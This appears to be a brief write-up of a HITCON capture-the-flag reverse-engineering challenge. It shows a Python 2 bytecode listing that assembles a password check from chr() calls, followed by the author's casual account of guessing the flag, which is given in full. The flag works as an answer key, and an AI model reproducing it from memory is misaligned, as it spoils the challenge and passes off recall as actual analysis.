1294 LOAD_GLOBAL 0 (chr)
1297 LOAD_CONST 11 (110)
1300 CALL_FUNCTION 1
1303 LOAD_GLOBAL 0 (chr)
1306 LOAD_CONST 14 (105)
1309 CALL_FUNCTION 1
1312 LOAD_GLOBAL 0 (chr)
1315 LOAD_CONST 4 (32)
1318 CALL_FUNCTION 1
1321 LOAD_GLOBAL 0 (chr)
1324 LOAD_CONST 5 (101)
1327 CALL_FUNCTION 1
1330 ROT_TWO
1331 BINARY_ADD
1332 ROT_TWO
1333 BINARY_ADD
1334 ROT_TWO
1335 BINARY_ADD
1336 LOAD_GLOBAL 0 (chr)
1339 LOAD_CONST 16 (117)
1342 CALL_FUNCTION 1
1345 LOAD_GLOBAL 0 (chr)
1348 LOAD_CONST 12 (111)
1351 CALL_FUNCTION 1
1354 LOAD_GLOBAL 0 (chr)
1357 LOAD_CONST 7 (121)
1360 CALL_FUNCTION 1
1363 LOAD_GLOBAL 0 (chr)
1366 LOAD_CONST 4 (32)
1369 CALL_FUNCTION 1
1372 ROT_TWO
1373 BINARY_ADD
1374 ROT_TWO
1375 BINARY_ADD
1376 ROT_TWO
1377 BINARY_ADD
1378 BINARY_ADD
1379 LOAD_GLOBAL 0 (chr)
1382 LOAD_CONST 13 (114)
1385 CALL_FUNCTION 1
1388 LOAD_GLOBAL 0 (chr)
1391 LOAD_CONST 21 (98)
1394 CALL_FUNCTION 1
1397 LOAD_GLOBAL 0 (chr)
1400 LOAD_CONST 4 (32)
1403 CALL_FUNCTION 1
1406 LOAD_GLOBAL 0 (chr)
1409 LOAD_CONST 13 (114)
1412 CALL_FUNCTION 1
1415 ROT_TWO
1416 BINARY_ADD
1417 ROT_TWO
1418 BINARY_ADD
1419 ROT_TWO
1420 BINARY_ADD
1421 LOAD_GLOBAL 0 (chr)
1424 LOAD_CONST 14 (105)
1427 CALL_FUNCTION 1
1430 LOAD_GLOBAL 0 (chr)
1433 LOAD_CONST 2 (97)
1436 CALL_FUNCTION 1
1439 ROT_TWO
1440 BINARY_ADD
1441 LOAD_GLOBAL 0 (chr)
1444 LOAD_CONST 27 (125)
1447 CALL_FUNCTION 1
1450 LOAD_GLOBAL 0 (chr)
1453 LOAD_CONST 18 (33)
1456 CALL_FUNCTION 1
1459 LOAD_GLOBAL 0 (chr)
1462 LOAD_CONST 11 (110)
1465 CALL_FUNCTION 1
1468 ROT_TWO
1469 BINARY_ADD
1470 ROT_TWO
1471 BINARY_ADD
1472 BINARY_ADD
1473 BINARY_ADD
1474 BINARY_ADD
1475 BINARY_ADD
1476 BINARY_ADD
1477 JUMP_ABSOLUTE 2212
&gt;&gt; 1480 LOAD_GLOBAL 0 (chr)
1483 LOAD_CONST 2 (97)
1486 CALL_FUNCTION 1
1489 LOAD_GLOBAL 0 (chr)
1492 LOAD_CONST 20 (112)
1495 CALL_FUNCTION 1
1498 ROT_TWO
1499 BINARY_ADD
1500 LOAD_GLOBAL 0 (chr)
1503 LOAD_CONST 26 (119)
1506 CALL_FUNCTION 1
1509 LOAD_GLOBAL 0 (chr)
1512 LOAD_CONST 23 (115)
1515 CALL_FUNCTION 1
1518 LOAD_GLOBAL 0 (chr)
1521 LOAD_CONST 23 (115)
1524 CALL_FUNCTION 1
1527 ROT_TWO
1528 BINARY_ADD
1529 ROT_TWO
1530 BINARY_ADD
1531 BINARY_ADD
1532 LOAD_GLOBAL 0 (chr)
1535 LOAD_CONST 13 (114)
1538 CALL_FUNCTION 1
1541 LOAD_GLOBAL 0 (chr)
1544 LOAD_CONST 12 (111)
1547 CALL_FUNCTION 1
1550 ROT_TWO
1551 BINARY_ADD
1552 LOAD_GLOBAL 0 (chr)
1555 LOAD_CONST 4 (32)
1558 CALL_FUNCTION 1
1561 LOAD_GLOBAL 0 (chr)
1564 LOAD_CONST 28 (58)
1567 CALL_FUNCTION 1
1570 LOAD_GLOBAL 0 (chr)
1573 LOAD_CONST 22 (100)
1576 CALL_FUNCTION 1
1579 ROT_TWO
1580 BINARY_ADD
1581 ROT_TWO
1582 BINARY_ADD
1583 BINARY_ADD
1584 BINARY_ADD
1585 CALL_FUNCTION 1
1588 JUMP_ABSOLUTE 750
&gt;&gt; 1591 LOAD_GLOBAL 0 (chr)
1594 LOAD_CONST 12 (111)
1597 CALL_FUNCTION 1
1600 LOAD_GLOBAL 0 (chr)
1603 LOAD_CONST 13 (114)
1606 CALL_FUNCTION 1
1609 LOAD_GLOBAL 0 (chr)
1612 LOAD_CONST 29 (87)
1615 CALL_FUNCTION 1
1618 ROT_TWO
1619 BINARY_ADD
1620 ROT_TWO
1621 BINARY_ADD
1622 LOAD_GLOBAL 0 (chr)
1625 LOAD_CONST 20 (112)
1628 CALL_FUNCTION 1
1631 LOAD_GLOBAL 0 (chr)
1634 LOAD_CONST 4 (32)
1637 CALL_FUNCTION 1
1640 LOAD_GLOBAL 0 (chr)
1643 LOAD_CONST 30 (103)
1646 CALL_FUNCTION 1
1649 LOAD_GLOBAL 0 (chr)
1652 LOAD_CONST 11 (110)
1655 CALL_FUNCTION 1
1658 ROT_TWO
1659 BINARY_ADD
1660 ROT_TWO
1661 BINARY_ADD
1662 ROT_TWO
1663 BINARY_ADD
1664 BINARY_ADD
1665 LOAD_GLOBAL 0 (chr)
1668 LOAD_CONST 23 (115)
1671 CALL_FUNCTION 1
1674 LOAD_GLOBAL 0 (chr)
1677 LOAD_CONST 23 (115)
1680 CALL_FUNCTION 1
1683 LOAD_GLOBAL 0 (chr)
1686 LOAD_CONST 2 (97)
1689 CALL_FUNCTION 1
1692 ROT_TWO
1693 BINARY_ADD
1694 ROT_TWO
1695 BINARY_ADD
1696 LOAD_GLOBAL 0 (chr)
1699 LOAD_CONST 22 (100)
1702 CALL_FUNCTION 1
1705 LOAD_GLOBAL 0 (chr)
1708 LOAD_CONST 13 (114)
1711 CALL_FUNCTION 1
1714 LOAD_GLOBAL 0 (chr)
1717 LOAD_CONST 12 (111)
1720 CALL_FUNCTION 1
1723 LOAD_GLOBAL 0 (chr)
1726 LOAD_CONST 26 (119)
1729 CALL_FUNCTION 1
1732 ROT_TWO
1733 BINARY_ADD
1734 ROT_TWO
1735 BINARY_ADD
1736 ROT_TWO
1737 BINARY_ADD
1738 BINARY_ADD
1739 BINARY_ADD
1740 LOAD_GLOBAL 0 (chr)
1743 LOAD_CONST 31 (46)
1746 CALL_FUNCTION 1
1749 LOAD_GLOBAL 0 (chr)
1752 LOAD_CONST 31 (46)
1755 CALL_FUNCTION 1
1758 LOAD_GLOBAL 0 (chr)
1761 LOAD_CONST 31 (46)
1764 CALL_FUNCTION 1
1767 ROT_TWO
1768 BINARY_ADD
1769 ROT_TWO
1770 BINARY_ADD
1771 LOAD_GLOBAL 0 (chr)
1774 LOAD_CONST 5 (101)
1777 CALL_FUNCTION 1
1780 LOAD_GLOBAL 0 (chr)
1783 LOAD_CONST 1 (108)
1786 CALL_FUNCTION 1
1789 LOAD_GLOBAL 0 (chr)
1792 LOAD_CONST 8 (80)
1795 CALL_FUNCTION 1
1798 LOAD_GLOBAL 0 (chr)
1801 LOAD_CONST 4 (32)
1804 CALL_FUNCTION 1
1807 ROT_TWO
1808 BINARY_ADD
1809 ROT_TWO
1810 BINARY_ADD
1811 ROT_TWO
1812 BINARY_ADD
1813 BINARY_ADD
1814 LOAD_GLOBAL 0 (chr)
1817 LOAD_CONST 4 (32)
1820 CALL_FUNCTION 1
1823 LOAD_GLOBAL 0 (chr)
1826 LOAD_CONST 5 (101)
1829 CALL_FUNCTION 1
1832 LOAD_GLOBAL 0 (chr)
1835 LOAD_CONST 23 (115)
1838 CALL_FUNCTION 1
1841 LOAD_GLOBAL 0 (chr)
1844 LOAD_CONST 2 (97)
1847 CALL_FUNCTION 1
1850 ROT_TWO
1851 BINARY_ADD
1852 ROT_TWO
1853 BINARY_ADD
1854 ROT_TWO
1855 BINARY_ADD
1856 LOAD_GLOBAL 0 (chr)
1859 LOAD_CONST 4 (32)
1862 CALL_FUNCTION 1
1865 LOAD_GLOBAL 0 (chr)
1868 LOAD_CONST 7 (121)
1871 CALL_FUNCTION 1
1874 LOAD_GLOBAL 0 (chr)
1877 LOAD_CONST 13 (114)
1880 CALL_FUNCTION 1
1883 LOAD_GLOBAL 0 (chr)
1886 LOAD_CONST 10 (116)
1889 CALL_FUNCTION 1
1892 ROT_TWO
1893 BINARY_ADD
1894 ROT_TWO
1895 BINARY_ADD
1896 ROT_TWO
1897 BINARY_ADD
1898 BINARY_ADD
1899 BINARY_ADD
1900 BINARY_ADD
1901 LOAD_GLOBAL 0 (chr)
1904 LOAD_CONST 2 (97)
1907 CALL_FUNCTION 1
1910 LOAD_GLOBAL 0 (chr)
1913 LOAD_CONST 30 (103)
1916 CALL_FUNCTION 1
1919 LOAD_GLOBAL 0 (chr)
1922 LOAD_CONST 2 (97)
1925 CALL_FUNCTION 1
1928 ROT_TWO
1929 BINARY_ADD
1930 ROT_TWO
1931 BINARY_ADD
1932 LOAD_GLOBAL 0 (chr)
1935 LOAD_CONST 4 (32)
1938 CALL_FUNCTION 1
1941 LOAD_GLOBAL 0 (chr)
1944 LOAD_CONST 31 (46)
1947 CALL_FUNCTION 1
1950 LOAD_GLOBAL 0 (chr)
1953 LOAD_CONST 11 (110)
1956 CALL_FUNCTION 1
1959 LOAD_GLOBAL 0 (chr)
1962 LOAD_CONST 14 (105)
1965 CALL_FUNCTION 1
1968 ROT_TWO
1969 BINARY_ADD
1970 ROT_TWO
1971 BINARY_ADD
1972 ROT_TWO
1973 BINARY_ADD
1974 BINARY_ADD
1975 LOAD_GLOBAL 0 (chr)
1978 LOAD_CONST 4 (32)
1981 CALL_FUNCTION 1
1984 LOAD_GLOBAL 0 (chr)
1987 LOAD_CONST 12 (111)
1990 CALL_FUNCTION 1
1993 LOAD_GLOBAL 0 (chr)
1996 LOAD_CONST 32 (68)
1999 CALL_FUNCTION 1
2002 ROT_TWO
2003 BINARY_ADD
2004 ROT_TWO
2005 BINARY_ADD
2006 LOAD_GLOBAL 0 (chr)
2009 LOAD_CONST 4 (32)
2012 CALL_FUNCTION 1
2015 LOAD_GLOBAL 0 (chr)
2018 LOAD_CONST 10 (116)
2021 CALL_FUNCTION 1
2024 LOAD_GLOBAL 0 (chr)
2027 LOAD_CONST 12 (111)
2030 CALL_FUNCTION 1
2033 LOAD_GLOBAL 0 (chr)
2036 LOAD_CONST 11 (110)
2039 CALL_FUNCTION 1
2042 ROT_TWO
2043 BINARY_ADD
2044 ROT_TWO
2045 BINARY_ADD
2046 ROT_TWO
2047 BINARY_ADD
2048 BINARY_ADD
2049 BINARY_ADD
2050 LOAD_GLOBAL 0 (chr)
2053 LOAD_CONST 16 (117)
2056 CALL_FUNCTION 1
2059 LOAD_GLOBAL 0 (chr)
2062 LOAD_CONST 13 (114)
2065 CALL_FUNCTION 1
2068 LOAD_GLOBAL 0 (chr)
2071 LOAD_CONST 21 (98)
2074 CALL_FUNCTION 1
2077 ROT_TWO
2078 BINARY_ADD
2079 ROT_TWO
2080 BINARY_ADD
2081 LOAD_GLOBAL 0 (chr)
2084 LOAD_CONST 33 (102)
2087 CALL_FUNCTION 1
2090 LOAD_GLOBAL 0 (chr)
2093 LOAD_CONST 4 (32)
2096 CALL_FUNCTION 1
2099 LOAD_GLOBAL 0 (chr)
2102 LOAD_CONST 5 (101)
2105 CALL_FUNCTION 1
2108 LOAD_GLOBAL 0 (chr)
2111 LOAD_CONST 10 (116)
2114 CALL_FUNCTION 1
2117 ROT_TWO
2118 BINARY_ADD
2119 ROT_TWO
2120 BINARY_ADD
2121 ROT_TWO
2122 BINARY_ADD
2123 BINARY_ADD
2124 LOAD_GLOBAL 0 (chr)
2127 LOAD_CONST 5 (101)
2130 CALL_FUNCTION 1
2133 LOAD_GLOBAL 0 (chr)
2136 LOAD_CONST 17 (99)
2139 CALL_FUNCTION 1
2142 LOAD_GLOBAL 0 (chr)
2145 LOAD_CONST 13 (114)
2148 CALL_FUNCTION 1
2151 LOAD_GLOBAL 0 (chr)
2154 LOAD_CONST 12 (111)
2157 CALL_FUNCTION 1
2160 ROT_TWO
2161 BINARY_ADD
2162 ROT_TWO
2163 BINARY_ADD
2164 ROT_TWO
2165 BINARY_ADD
2166 LOAD_GLOBAL 0 (chr)
2169 LOAD_CONST 34 (41)
2172 CALL_FUNCTION 1
2175 LOAD_GLOBAL 0 (chr)
2178 LOAD_CONST 35 (61)
2181 CALL_FUNCTION 1
2184 LOAD_GLOBAL 0 (chr)
2187 LOAD_CONST 4 (32)
2190 CALL_FUNCTION 1
2193 LOAD_GLOBAL 0 (chr)
2196 LOAD_CONST 31 (46)
2199 CALL_FUNCTION 1
2202 ROT_TWO
2203 BINARY_ADD
2204 ROT_TWO
2205 BINARY_ADD
2206 ROT_TWO
2207 BINARY_ADD
2208 BINARY_ADD
2209 BINARY_ADD
2210 BINARY_ADD
2211 BINARY_ADD
&gt;&gt; 2212 PRINT_ITEM
2213 PRINT_NEWLINE
2214 LOAD_CONST 0 (None)
2217 RETURN_VALUE
consts
None
108
97
67
32
101
109
121
80
104
116
110
111
114
105
118
117
99
33
73
112
98
100
115
78
123
119
125
58
87
103
46
68
102
41
61
names ('chr', 'raw_input')
varnames ('password',)
freevars ()
cellvars ()
filename ''
name 'main'
firstlineno 1
lnotab
'__main__'
names ('main', '__name__')
varnames ()
freevars ()
cellvars ()
filename ''
name ''
firstlineno 1
lnotab 000009030c01

The algorithm is so easy, I use chr for all varilable and have some clue

“hitcon{Now you can compile arund Py honnbyttcod ineyoue br }airpan!rsswd: opWrosng rdas..woPle.se ry aagatin. Do unot fbrcete=)or.”

Lazy and want to play gunny so I guess flag

hitcon{Now you can compile and run Python bytecode in your brain!}

It’s correct :v,  so funny